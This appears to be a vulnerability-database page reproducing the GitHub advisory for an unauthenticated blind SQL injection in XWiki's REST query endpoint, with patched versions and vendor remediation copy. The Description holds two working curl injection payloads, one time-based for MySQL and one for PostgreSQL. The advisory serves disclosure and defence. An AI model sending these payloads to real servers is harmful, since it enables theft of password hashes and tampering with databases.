GHSA-f69v-xrj8-rhxf
CRITICALorg.xwiki.platform:xwiki-platform-rest-server allows SQL injection in query endpoint of REST API
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
org.xwiki.platform:xwiki-platform-rest-server☕org.xwiki.platform:xwiki-platform-rest-server☕org.xwiki.platform:xwiki-platform-rest-serverReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Impact
It is possible for a remote unauthenticated user to escape from the HQL execution context and perform a blind SQL injection to execute arbitrary SQL statements on the database backend, including when "Prevent unregistered users from viewing pages, regardless of the page rights" and "Prevent unregistered users from editing pages, regardless of the page rights" options are enabled.
Depending on the used database backend, the attacker may be able to not only obtain confidential information such as password hashes from the database, but also execute UPDATE/INSERT/DELETE queries.
The vulnerability may be tested in a default installation of XWIki Standard Flavor, including using the official Docker containers.
An example query, which leads to SQL injection with MySQL/MariaDB backend is shown below:
time curl "http://127.0.0.1:8080/rest/wikis/xwiki/query?q=where%20doc.name=length('a')*org.apache.logging.log4j.util.Chars.SPACE%20or%201%3C%3E%271%5C%27%27%20union%20select%201,2,3,sleep(10)%20%23%27&type=hql&distinct=0"
When executed, the response from the server will come after a delay of 10 extra seconds, indicating successful execution of the injected SQL statement.
An example of a query for the PostgreSQL database backend is shown below:
curl "https://127.0.0.1:8080/rest/wikis/xwiki/query?q=where%20%24%24='%24%24=concat(%20chr(%2061%20),(chr(%2039%20))%20)%20;select%201%20--%20comment'&type=hql&distinct=0"
Both requests employ database backend dependent techniques of breaking out of HQL query context, described, for example, here: https://www.sonarsource.com/blog/exploiting-hibernate-injections.
Patches
This has been patched in 16.10.1, 16.4.6 and 15.10.16.
Workarounds
There is no known workaround, other than upgrading XWiki.
References
https://jira.xwiki.org/browse/XWIKI-22691
For more information
If you have any questions or comments about this advisory:
- Open an issue in Jira XWiki.org
- Email us at Security Mailing List
Attribution
Sergey Anufrienko from Kaspersky ICS-CERT vulnerability research team reported this vulnerability.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.xwiki.platform:xwiki-platform-rest-server | ≥ 1.8&&< 15.10.16 | 15.10.16 |
| ☕Maven | org.xwiki.platform:xwiki-platform-rest-server | ≥ 16.0.0-rc-1&&< 16.4.6 | 16.4.6 |
| ☕Maven | org.xwiki.platform:xwiki-platform-rest-server | ≥ 16.5.0-rc-1&&< 16.10.1 | 16.10.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.xwiki.platform:xwiki-platform-rest-server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update org.xwiki.platform:xwiki-platform-rest-server to 15.10.16 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f69v-xrj8-rhxf is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-f69v-xrj8-rhxf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-f69v-xrj8-rhxf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-f69v-xrj8-rhxf in your dependencies?
O3 detects GHSA-f69v-xrj8-rhxf across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.